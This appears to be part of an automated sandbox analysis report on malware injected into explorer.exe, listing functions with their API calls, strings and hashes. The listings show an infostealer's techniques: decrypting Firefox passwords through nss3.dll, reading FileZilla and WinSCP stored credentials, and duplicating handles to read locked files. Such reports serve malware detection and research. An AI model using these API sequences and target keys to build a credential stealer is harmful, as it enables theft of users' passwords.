Opcode Fuzzy Hash: f899bc798a6d489f216e1edecae75b9a8e523ea40556e0f3cfa538ea46455c98
Instruction Fuzzy Hash: 17C09B383442055BE6903BF05C0D71E3554FF07713F005140F306C6196DBD04409C633

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: dd89a9bfd4171dc3a7b47b06be238ed974fa1b228ef2ddddb06002d54d5b174c
Instruction ID: 9b9c81ef95fa7ee97b64d30d2d1b1e12550bd220aaed317d0692ed8999a0a70b
Opcode Fuzzy Hash: dd89a9bfd4171dc3a7b47b06be238ed974fa1b228ef2ddddb06002d54d5b174c
Instruction Fuzzy Hash: 91A001B9950204ABEE446BA4AE0EB1E3A28FB87706F104544B246860AADAA454048B22

Uniqueness

Uniqueness Score: -1.00%

Function 00BF12A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 00BF12B5

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: 0da122c196404054eac5d1af20d96b37db1b49c8030d56474dedfc5af7e2fc34
Instruction ID: 4b4a2ba38328b22c2fe71bac64d7d79762a88c0b525734007da737feae3ba4a1
Opcode Fuzzy Hash: 0da122c196404054eac5d1af20d96b37db1b49c8030d56474dedfc5af7e2fc34
Instruction Fuzzy Hash: 8F11E3B5A01209AFDB10DFA9E984ABEB7FCFB09341B104869FA45E3240D7309904CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00BF6512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(00C520A4,00000001,00000000,0000000A,00C43127,00BF28DA,00000000,?), ref: 00BFBFFC

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ea43e0bbcad47927af83f8883e2f7a3accf74b6ee56dacb4fc3012817c8b7f28
Instruction ID: e8f37eaf2bd7caeaa3591216fc16177abea99504524a152da054b61525bd1350
Opcode Fuzzy Hash: ea43e0bbcad47927af83f8883e2f7a3accf74b6ee56dacb4fc3012817c8b7f28
Instruction Fuzzy Hash: A9E01B3578430C35EA1437B49C4BF3A16D54BD0F52F5446A5BF10BB4CADBD585CC501A

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1B9D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00BF2C8F,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 00BF1BAA

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 71b4c1c791c0757594304c572efc8e6fc5fddc698c7701d7b1588e64cd5a16cc
Instruction ID: 82d3413d35b9a41866b97728545624ed37573eecab3921bee29b2e20661442fd
Opcode Fuzzy Hash: 71b4c1c791c0757594304c572efc8e6fc5fddc698c7701d7b1588e64cd5a16cc
Instruction Fuzzy Hash: F0D0A933E02434C2CA68563C38049A6A2C0AA0267431A0FF4FE26F30D5E224CC8642C0

Uniqueness

Uniqueness Score: -1.00%

Function 00BF104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,00BF158A), ref: 00BF1056

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8aef42294f97da585cd2b2fa01444cbfb1f59011b26849ce027fb2587280ffee
Instruction ID: 71092f2e65ed018a02682c3e5df3a6a9813b81d308736f20e8e6c5b8b13d4547
Opcode Fuzzy Hash: 8aef42294f97da585cd2b2fa01444cbfb1f59011b26849ce027fb2587280ffee
Instruction Fuzzy Hash: E4A002F4BD53007AFE695762AE1FF196D38A742F03F100244B30D7C0D455E47500852E

Uniqueness

Uniqueness Score: -1.00%

Function 00BF105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,00BF4A5B,?,?,00000000,?,?,?,?,00BF4B66,?), ref: 00BF1065

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 285ee9ec90c5cad33847cf5fa527bc04359e2273454de6addb8de538e1849e14
Instruction ID: 0ea85a4345d3c52e8f5d9d493dcdf0b64bf406ad175e4ea754b1db7494114ba4
Opcode Fuzzy Hash: 285ee9ec90c5cad33847cf5fa527bc04359e2273454de6addb8de538e1849e14
Instruction Fuzzy Hash: 4FA0027469070066EEB457205D0AF0D26147742B01F2045447242A90D549A5E0448A19

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00BF349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00000000,?,00000000), ref: 00BF34C0

Part of subcall function 00BF33C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 00BF3401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,00BF37A8), ref: 00BF34E9

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 00BF351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 00BF3541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00BF3586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 00BF358F
lstrcmpiW.KERNEL32(00000000,File), ref: 00BF35B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 00BF35DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 00BF35F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 00BF3606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 00BF361E
GetFileSize.KERNEL32(?,00000000), ref: 00BF3631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00BF3658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00BF366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BF3681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 00BF36AD
CloseHandle.KERNEL32(?), ref: 00BF36C0
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,00BF37A8), ref: 00BF36F5

Part of subcall function 00BF1C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 00BF1CC0
Part of subcall function 00BF1C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 00BF1CDA
Part of subcall function 00BF1C9F: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 00BF1CE6

CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,00BF37A8), ref: 00BF3707

Strings

File, xrefs: 00BF35B0

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 6317c076dad2529a6a9ffeb80cfa630f15ee44eadbba01bb77d3f27b731eeb2d
Instruction ID: 64b12404c648e0f1d733c8862c641a8f5433dba8c50bbd1eea3328654d47ba2d
Opcode Fuzzy Hash: 6317c076dad2529a6a9ffeb80cfa630f15ee44eadbba01bb77d3f27b731eeb2d
Instruction Fuzzy Hash: 39618E70204308BFD720AF24CC85B2F7BE9FB85B55F000968FA46D72A1DB75DA488B56

Uniqueness

Uniqueness Score: -1.00%

Function 00C44438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 00C44502
memcmp.NTDLL ref: 00C4475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 00C44803

Strings

localhost, xrefs: 00C444FD
mode, xrefs: 00C44712
no such %s mode: %s, xrefs: 00C44784
no such vfs: %s, xrefs: 00C4482F
file, xrefs: 00C44474
access, xrefs: 00C44725
%s mode not allowed: %s, xrefs: 00C447D0
invalid uri authority: %.*s, xrefs: 00C44513
cache, xrefs: 00C446FA
cach, xrefs: 00C446DC

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: 4bf7257a31d279dc3b4007f81c15af7f2bf6a8436fc6d11c99c4f5ec37500140
Instruction ID: c7f11bd4ca12058b6bc7aaa91957aed3eec88ce82f7a667bc5a3a6b6137fc596
Opcode Fuzzy Hash: 4bf7257a31d279dc3b4007f81c15af7f2bf6a8436fc6d11c99c4f5ec37500140
Instruction Fuzzy Hash: 2BC11370A083859BDB3CCF18848077AB7E1BF96314F25096EF8E587252D734DA4ACB46

Uniqueness

Uniqueness Score: -1.00%

Function 00C15F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 00BF6AAA: memset.NTDLL ref: 00BF6AC5

memset.NTDLL ref: 00C15F53

Strings

no such column: "%s", xrefs: 00C16271
foreign key, xrefs: 00C160A3
cannot open %s column for writing, xrefs: 00C16255
cannot open view: %s, xrefs: 00C15FF3
cannot open table without rowid: %s, xrefs: 00C15FCF
indexed, xrefs: 00C160E8
cannot open virtual table: %s, xrefs: 00C15FAA

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: fabef45520d105436cb6b92c5aad0478b77025cb9700b3372514a2189124a60f
Instruction ID: 7ca742829d6c0d9aa8614636ca022b935d5ee3a2931c189c6d069475f5bb6ee7
Opcode Fuzzy Hash: fabef45520d105436cb6b92c5aad0478b77025cb9700b3372514a2189124a60f
Instruction Fuzzy Hash: CDC1AD706047029FCB14DF25C480A6EB7E2FF89700F14896DF85587281DB71DE96DB86

Uniqueness

Uniqueness Score: -1.00%

Function 00BF4440 Relevance: 37.0, APIs: 11, Strings: 10, Instructions: 289stringmemoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00BF44AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 00BF456E
lstrcmpiW.KERNEL32(Servers,?), ref: 00BF457D
lstrcmpiW.KERNEL32(Settings,?), ref: 00BF458C

Part of subcall function 00BF11E1: lstrlenW.KERNEL32(?,74DEF360,00000000,?,00000000,?,00BF46E3), ref: 00BF11ED
Part of subcall function 00BF11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00BF120F
Part of subcall function 00BF11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00BF1231

lstrcmpiW.KERNEL32(Server,?), ref: 00BF45BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 00BF45CD
lstrcmpiW.KERNEL32(Host,?), ref: 00BF4657
lstrcmpiW.KERNEL32(Port,?), ref: 00BF4679
lstrcmpiW.KERNEL32(User,?), ref: 00BF469F
lstrcmpiW.KERNEL32(Pass,?), ref: 00BF46C5
wsprintfW.USER32 ref: 00BF471E

Strings

%s:%s, xrefs: 00BF4718
Server, xrefs: 00BF45B9
LastServer, xrefs: 00BF45C8
Host, xrefs: 00BF4652
RecentServers, xrefs: 00BF4569
Port, xrefs: 00BF4674
User, xrefs: 00BF469A
Settings, xrefs: 00BF4587
Pass, xrefs: 00BF46C0
Servers, xrefs: 00BF4578

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$Alloclstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 1416614492-1234691226
Opcode ID: b31a1d5581e01bf6d90cfb9e43136c9daf68b8cc38c33eef84544355e8dc150b
Instruction ID: beafd8c79087fa1643aef218fe88aeaf3953edad9a3eb38002b42f53bd3bab15
Opcode Fuzzy Hash: b31a1d5581e01bf6d90cfb9e43136c9daf68b8cc38c33eef84544355e8dc150b
Instruction Fuzzy Hash: 19B1E675204306AFD700EF64C844E6BB7E9EF89745F0089ACF6558B264DB71ED0ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 00BF24B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

Part of subcall function 00BF1090: lstrlenW.KERNEL32(?,?,00000000,00BF17E5), ref: 00BF1097
Part of subcall function 00BF1090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 00BF10A8

Part of subcall function 00BF19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00BF2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 00BF19C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 00BF2503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 00BF250A
LoadLibraryW.KERNEL32(00000000), ref: 00BF2563
SetCurrentDirectoryW.KERNEL32(?), ref: 00BF2570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 00BF2591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 00BF259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 00BF25AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 00BF25B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 00BF25C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 00BF25D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 00BF25DF

Part of subcall function 00BF190B: lstrlen.KERNEL32(?,?,?,?,00000000,00BF2783), ref: 00BF192B
Part of subcall function 00BF190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,00BF2783), ref: 00BF1930
Part of subcall function 00BF190B: lstrcat.KERNEL32(00000000,?), ref: 00BF1946
Part of subcall function 00BF190B: lstrcat.KERNEL32(00000000,00000000), ref: 00BF194A

Strings

nss3.dll, xrefs: 00BF2510
NSS_Shutdown, xrefs: 00BF2593
PK11_FreeSlot, xrefs: 00BF25D4
sql:, xrefs: 00BF262B
PK11_Authenticate, xrefs: 00BF25BA
NSS_Init, xrefs: 00BF258B
SECITEM_FreeItem, xrefs: 00BF25A0
PK11SDR_Decrypt, xrefs: 00BF25C7
PK11_GetInternalKeySlot, xrefs: 00BF25AD

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 3ff6161d5403d4427f3a3025ea0fe2aba01e78e6851ab46eb5ce6efc0c5e6537
Instruction ID: f404ae6ec51a98a0c2acd06538cc2ff5d4c5ac94ccb82df3e2d05558070a54f3
Opcode Fuzzy Hash: 3ff6161d5403d4427f3a3025ea0fe2aba01e78e6851ab46eb5ce6efc0c5e6537
Instruction Fuzzy Hash: 43415939A00309DBCF14AFB85C5873E7AE5EB8274670409BEEA41E3351DF748C898B52

Uniqueness

Uniqueness Score: -1.00%

Function 00BF5E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 00BF5BF5: memset.NTDLL ref: 00BF5C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 00BF60E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 00BF60EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 00BF6113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 00BF618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 00BF61B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 00BF61C1

Strings

%03d, xrefs: 00BF61F3
W, xrefs: 00BF6193
%.16g, xrefs: 00BF6077
%02d, xrefs: 00BF6039, 00BF61D3
%06.3f, xrefs: 00BF6229
%lld, xrefs: 00BF6122
%04d, xrefs: 00BF6016

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 632c06cec6612e5902e9d10b3d597bbd5d29d82d80f027de81e39588369922c3
Instruction ID: d7ffde45c028e1e0498dc9a9230c690eb32b4c4d1ada41d5d97a6328b4f947e2
Opcode Fuzzy Hash: 632c06cec6612e5902e9d10b3d597bbd5d29d82d80f027de81e39588369922c3
Instruction Fuzzy Hash: E7B17EB190874EABD7319E28CCC5B3A7BD4FB81304F2405D9FF82A7192EB21CD589691

Uniqueness

Uniqueness Score: -1.00%

Function 00C0D2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 00C0D324

Strings

%s(%d), xrefs: 00C0D3AB
NULL, xrefs: 00C0D40F
(%.20s), xrefs: 00C0D38A
%.16g, xrefs: 00C0D3E5
k(%d, xrefs: 00C0D2EE
,%s%s, xrefs: 00C0D34E
(blob), xrefs: 00C0D416
vtab:%p, xrefs: 00C0D423
%lld, xrefs: 00C0D3CA
,%d, xrefs: 00C0D444
BINARY, xrefs: 00C0D31E
program, xrefs: 00C0D46A

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: 00d5147cf44de74351594029a296601d7e46ddc776d75eb7cb34b3052f7be6ad
Instruction ID: bed0876ea969bdf36b4be5a9b25fdae39cd4c462ff9eaeaca590f30df42358c1
Opcode Fuzzy Hash: 00d5147cf44de74351594029a296601d7e46ddc776d75eb7cb34b3052f7be6ad
Instruction Fuzzy Hash: A651EF71908300ABDB20DFE5CC41A7AB7F5BF45700F1408A9F9969B291EB70E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00BF48B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00BF19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A1E
Part of subcall function 00BF19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A3C
Part of subcall function 00BF19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A75
Part of subcall function 00BF19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A98

Part of subcall function 00BF482C: lstrlenW.KERNEL32(?), ref: 00BF4845
Part of subcall function 00BF482C: lstrlenW.KERNEL32(?), ref: 00BF488F
Part of subcall function 00BF482C: lstrlenW.KERNEL32(?), ref: 00BF4897

wsprintfW.USER32 ref: 00BF49A7
wsprintfW.USER32 ref: 00BF49B9

Strings

Password, xrefs: 00BF48E4
HostName, xrefs: 00BF48C4
RemoteDirectory, xrefs: 00BF48F8
%s:%u/%s, xrefs: 00BF4982, 00BF49A5
UserName, xrefs: 00BF48D2
%s:%u, xrefs: 00BF4971, 00BF49B7

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: 67188a7d2c0f9465d89f079729229100f102ce46d3cf4c4519a179419c2602bd
Instruction ID: 09880a3e136ac8491b7240b049f956cd4ef50d24b655038de080c40074265159
Opcode Fuzzy Hash: 67188a7d2c0f9465d89f079729229100f102ce46d3cf4c4519a179419c2602bd
Instruction Fuzzy Hash: DB31E26570430C9BD710ABA9C85193BB6EDEFCA788B058D9DF24493241DBF2DC0987A2

Uniqueness

Uniqueness Score: -1.00%

Function 00BFF92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 00BFFB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 00BFFB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 00BFFB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 00BFFB95

Strings

-journal, xrefs: 00BFFB6B
nolock, xrefs: 00BFFC4E
-wal, xrefs: 00BFFBA9
immutable, xrefs: 00BFFC68

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 80fdc8cc5b42a87de04c975a6bbc985e3ca0fce475316f5df42a079b79cc4f8a
Instruction ID: 94d9ad7dad52643b952998545cee4767e077286dc101793f20c3d0c057dd4865
Opcode Fuzzy Hash: 80fdc8cc5b42a87de04c975a6bbc985e3ca0fce475316f5df42a079b79cc4f8a
Instruction Fuzzy Hash: F6D190B16083459FCB14DF28C88173ABBE1EF95314F0845BDE9998B392DB75D809CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00BF7820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

-x0, xrefs: 00BF7325
%, xrefs: 00BF7822
NaN, xrefs: 00BF73F8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: 40cd7ee374b4198fb4c399749656d65663f7fecefe29a8c604e14c48d331270b
Instruction ID: bf3693a7d454a285639cfc7e745f32dd84feb61784079ec877969ec1f40b39bf
Opcode Fuzzy Hash: 40cd7ee374b4198fb4c399749656d65663f7fecefe29a8c604e14c48d331270b
Instruction Fuzzy Hash: 06D1E430A4C3899BD7258E38849077EBBE1EF9A304F2449DDFAC1D7252DA60C94DD782

Uniqueness

Uniqueness Score: -1.00%

Function 00BF78B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

-x0, xrefs: 00BF7325
NaN, xrefs: 00BF73F8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: cfca6aa75968bc000bf566dedac08ce4d8a22cca6f92746981858e739f370996
Instruction ID: a6af567d6deef4d13f0dbb56848b20495f88be01ca4a09a581690ba1334e2c6e
Opcode Fuzzy Hash: cfca6aa75968bc000bf566dedac08ce4d8a22cca6f92746981858e739f370996
Instruction Fuzzy Hash: FAE10330A4C38A9BD7258E28849473EBBE1EF96304F2849DDFAC197351DA60CD4DD792

Uniqueness

Uniqueness Score: -1.00%

Function 00BF7A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

-x0, xrefs: 00BF7325
NaN, xrefs: 00BF73F8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 6b84b1d16479549c951d8cc01f3f0e128899254c21710749ea4c42d490b70058
Instruction ID: 3e31905b7463bca93d50a1b903f18d0a08d758a6fd84d2cfb5e36348a2c2ab0d
Opcode Fuzzy Hash: 6b84b1d16479549c951d8cc01f3f0e128899254c21710749ea4c42d490b70058
Instruction Fuzzy Hash: 56E1E270A4C3899BD7258E28849073EBBE1EF9A304F2449DDFAC197352DA60CD4DD792

Uniqueness

Uniqueness Score: -1.00%

Function 00BF7A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

-x0, xrefs: 00BF7325
NaN, xrefs: 00BF73F8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: f857b6958a41a56e592fa31a85e4886a3c97ab95ab8c373ab3b1d2abab734331
Instruction ID: 572e41ba7645c6c32699f36d3797600dce423e94b2f80b74682d7f3d2864d726
Opcode Fuzzy Hash: f857b6958a41a56e592fa31a85e4886a3c97ab95ab8c373ab3b1d2abab734331
